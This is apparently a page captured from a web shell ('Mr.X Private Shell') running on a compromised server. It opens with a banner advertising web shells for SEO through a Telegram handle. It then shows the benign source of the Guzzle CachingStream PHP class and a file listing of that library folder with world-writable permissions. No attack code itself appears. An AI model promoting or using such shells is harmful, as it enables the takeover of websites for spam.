__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
declare(strict_types=1);
namespace GuzzleHttp\Psr7;
use Psr\Http\Message\StreamInterface;
/**
* Stream decorator that can cache previously read bytes from a sequentially
* read stream.
*/
final class CachingStream implements StreamInterface
{
use StreamDecoratorTrait;
/** @var StreamInterface Stream being wrapped */
private $remoteStream;
/** @var int Number of bytes to skip reading due to a write on the buffer */
private $skipReadBytes = 0;
/**
* @var StreamInterface
*/
private $stream;
/**
* We will treat the buffer object as the body of the stream
*
* @param StreamInterface $stream Stream to cache. The cursor is assumed to be at the beginning of the stream.
* @param StreamInterface $target Optionally specify where data is cached
*/
public function __construct(
StreamInterface $stream,
StreamInterface $target = null
) {
$this->remoteStream = $stream;
$this->stream = $target ?: new Stream(Utils::tryFopen('php://temp', 'r+'));
}
public function getSize(): ?int
{
$remoteSize = $this->remoteStream->getSize();
if (null === $remoteSize) {
return null;
}
return max($this->stream->getSize(), $remoteSize);
}
public function rewind(): void
{
$this->seek(0);
}
public function seek($offset, $whence = SEEK_SET): void
{
if ($whence === SEEK_SET) {
$byte = $offset;
} elseif ($whence === SEEK_CUR) {
$byte = $offset + $this->tell();
} elseif ($whence === SEEK_END) {
$size = $this->remoteStream->getSize();
if ($size === null) {
$size = $this->cacheEntireStream();
}
$byte = $size + $offset;
} else {
throw new \InvalidArgumentException('Invalid whence');
}
$diff = $byte - $this->stream->getSize();
if ($diff > 0) {
// Read the remoteStream until we have read in at least the amount
// of bytes requested, or we reach the end of the file.
while ($diff > 0 && !$this->remoteStream->eof()) {
$this->read($diff);
$diff = $byte - $this->stream->getSize();
}
} else {
// We can just do a normal seek since we've already seen this byte.
$this->stream->seek($byte);
}
}
public function read($length): string
{
// Perform a regular read on any previously read data from the buffer
$data = $this->stream->read($length);
$remaining = $length - strlen($data);
// More data was requested so read from the remote stream
if ($remaining) {
// If data was written to the buffer in a position that would have
// been filled from the remote stream, then we must skip bytes on
// the remote stream to emulate overwriting bytes from that
// position. This mimics the behavior of other PHP stream wrappers.
$remoteData = $this->remoteStream->read(
$remaining + $this->skipReadBytes
);
if ($this->skipReadBytes) {
$len = strlen($remoteData);
$remoteData = substr($remoteData, $this->skipReadBytes);
$this->skipReadBytes = max(0, $this->skipReadBytes - $len);
}
$data .= $remoteData;
$this->stream->write($remoteData);
}
return $data;
}
public function write($string): int
{
// When appending to the end of the currently read stream, you'll want
// to skip bytes from being read from the remote stream to emulate
// other stream wrappers. Basically replacing bytes of data of a fixed
// length.
$overflow = (strlen($string) + $this->tell()) - $this->remoteStream->tell();
if ($overflow > 0) {
$this->skipReadBytes += $overflow;
}
return $this->stream->write($string);
}
public function eof(): bool
{
return $this->stream->eof() && $this->remoteStream->eof();
}
/**
* Close both the remote stream and buffer stream
*/
public function close(): void
{
$this->remoteStream->close();
$this->stream->close();
}
private function cacheEntireStream(): int
{
$target = new FnStream(['write' => 'strlen']);
Utils::copyToStream($this, $target);
return $this->tell();
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| Exception | Folder | 0777 |
|
|
| AppendStream.php | File | 5.81 KB | 0777 |
|
| BufferStream.php | File | 3.14 KB | 0777 |
|
| CachingStream.php | File | 4.48 KB | 0777 |
|
| DroppingStream.php | File | 1.17 KB | 0777 |
|
| FnStream.php | File | 4.21 KB | 0777 |
|
| Header.php | File | 3.85 KB | 0777 |
|
| HttpFactory.php | File | 3 KB | 0777 |
|
| InflateStream.php | File | 1.38 KB | 0777 |
|
| LazyOpenStream.php | File | 1.06 KB | 0777 |
|
| LimitStream.php | File | 4.2 KB | 0777 |
|
| Message.php | File | 8.14 KB | 0777 |
|
| MessageTrait.php | File | 7.56 KB | 0777 |
|
| MimeType.php | File | 53.75 KB | 0777 |
|
| MultipartStream.php | File | 5.05 KB | 0777 |
|
| NoSeekStream.php | File | 524 B | 0777 |
|
| PumpStream.php | File | 4.49 KB | 0777 |
|
| Query.php | File | 3.56 KB | 0777 |
|
| Request.php | File | 3.82 KB | 0777 |
|
| Response.php | File | 4.79 KB | 0777 |
|
| Rfc7230.php | File | 661 B | 0777 |
|
| ServerRequest.php | File | 9.33 KB | 0777 |
|
| Stream.php | File | 7.21 KB | 0777 |
|
| StreamDecoratorTrait.php | File | 3.24 KB | 0777 |
|
| StreamWrapper.php | File | 4.45 KB | 0777 |
|
| UploadedFile.php | File | 4.75 KB | 0777 |
|
| Uri.php | File | 21.44 KB | 0777 |
|
| UriComparator.php | File | 1.12 KB | 0777 |
|
| UriNormalizer.php | File | 8.26 KB | 0777 |
|
| UriResolver.php | File | 8.38 KB | 0777 |
|
| Utils.php | File | 15.21 KB | 0777 |
|